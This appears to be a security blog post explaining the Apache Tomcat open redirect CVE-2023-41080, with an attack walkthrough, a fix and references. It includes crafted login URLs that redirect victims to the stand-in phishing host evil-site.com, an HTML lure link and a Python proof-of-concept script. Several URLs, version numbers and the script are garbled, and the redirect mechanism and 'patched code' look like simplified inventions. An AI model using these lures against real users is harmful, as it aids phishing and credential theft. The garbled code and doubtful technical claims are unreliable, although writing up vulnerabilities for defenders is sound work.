In August 2023, a security issue known as CVE-2023-41080 was disclosed in the Apache Tomcat servlet container, affecting how URL redirection works after users log in via the FORM authentication feature. This vulnerability, an “Open Redirect”, can let attackers redirect users to malicious websites after a successful authentication on Tomcat’s ROOT web application. In this post, we’ll dig deep into how it happens, who’s at risk, how attackers can exploit it, and how you should fix it.

What is an Open Redirect?

An Open Redirect happens when an application accepts user input for a URL to redirect to, but doesn’t validate if the destination is safe or trusted. Attackers can leverage this to trick users into visiting malicious sites, which can be used for phishing, stealing credentials, or distributing malware.

How Does FORM Authentication Work in Tomcat?

FORM-based authentication is a common method in web apps—users enter a username and password on a web form. If they tried to access a protected resource, they are redirected to the login form. On successful login, they’re redirected back to their original destination using a URL parameter (often called redirect or goto).

Tomcat’s default behavior:  
When you access something protected, you’re redirected to /login.jsp?redirect=<encodedResource>. After login, Tomcat takes you to the URL specified in redirect.

Where’s the Flaw?

In the vulnerable Tomcat versions, the redirect parameter was not properly validated. If a user can specify _any_ URL for redirect, and Tomcat doesn’t check if that's an internal (same site) URL, an attacker can craft a URL that logs the user in, then sends them to a bad site.

Example Malicious URL

https://evil-site.com/phishing" rel="nofollow">http://vulnerable-tomcat.example.com/login.jsp?redirect=https://evil-site.com/phishing

When the victim logs in, they are immediately sent to https://evil-site.com/phishing. This is a classic open redirect.

1. Find a login-protected resource

Suppose anything under /admin/ requires authentication.

2. Make your attack URL

https://evil-site.com/capture" rel="nofollow">http://victim.example.com/login.jsp?redirect=https://evil-site.com/capture

3. Lure the victim

Send a phishing email or place a link on a webpage saying,  
"Your session expired, please log in again."

User logs in as expected (not suspecting anything amiss).

3. Server reads the redirect parameter and sends the victim to https://evil-site.com/capture.

HTML Snippet for Attacker

<a href="http://victim.example.com/login.jsp?redirect=https://evil-site.com/phish">;
  Login to your account to restore access
</a>

Python Request Example

import requests

# Victim site and attacker-controlled site
victim_login = 'https://evil-site.com/steal'" rel="nofollow">http://victim.example.com/login.jsp?redirect=https://evil-site.com/steal';
session = requests.Session()

# Step 1: Get login page
login_page = session.get(victim_login)

# Step 2: POST credentials (simulate victim login)
payload = {'username': 'user', 'password': 'pass'}
login_response = session.post(victim_login, data=payload)

# After login, user/session is redirected to evil-site.com
print(login_response.url)  # Should show https://evil-site.com/steal if vulnerable

Why Is It a Big Deal?

- Phishing attacks: It looks like a legitimate Tomcat login, so users trust the site. After login, users are shifted to a malicious site.
- Session hijacking: If the attacker can combine with other vulnerabilities, they could steal session cookies or tokens.

How to Fix (and How It Was Patched)

Tomcat 8.5.93, 9..80, 10.1.14, 11..-M11 (and up) now validate the redirect target so you can’t simply redirect to an external site after login.

If you’re running a vulnerable version, upgrade immediately.

- Tomcat Security Updates
- Tomcat 8.5 Changelog
- Tomcat 9. Changelog
- Tomcat 10.1 Changelog

Alternatively:  
If you cannot update yet, disable the ROOT web application or block suspicious queries containing absolute URLs via a web filter/proxy.

Extra: How Was It Fixed in the Code? (Simplified Snippet)

The patch checks if the redirect target is “safe” by making sure it's a relative URL only (it can’t start with http://, https://, etc).

Before (Vulnerable Code)

String redirectLocation = request.getParameter("redirect");
response.sendRedirect(redirectLocation); // Unsafe!

After (Patched Code)

String redirectLocation = request.getParameter("redirect");
if (redirectLocation != null && !redirectLocation.startsWith("http")) {
    response.sendRedirect(redirectLocation); // Relative URLs only
} else {
    response.sendRedirect("/"); // fallback to home
}

References

- CVE-2023-41080 @ NVD
- Tomcat Security Advisory
- Full Apache Security List

Conclusion

Open Redirects are simple but dangerous, especially when built into authentication flows. If you use Apache Tomcat and FORM authentication, make sure you’re on a patched version if the ROOT app is enabled. Attackers love leveraging trust—don’t make it easy for them!


*This guide is exclusive, curated for defenders, engineers, and red teamers. Please use this information responsibly.*

Timeline

Published on: 08/25/2023 21:15:09 UTC
Last modified on: 11/03/2023 19:00:56 UTC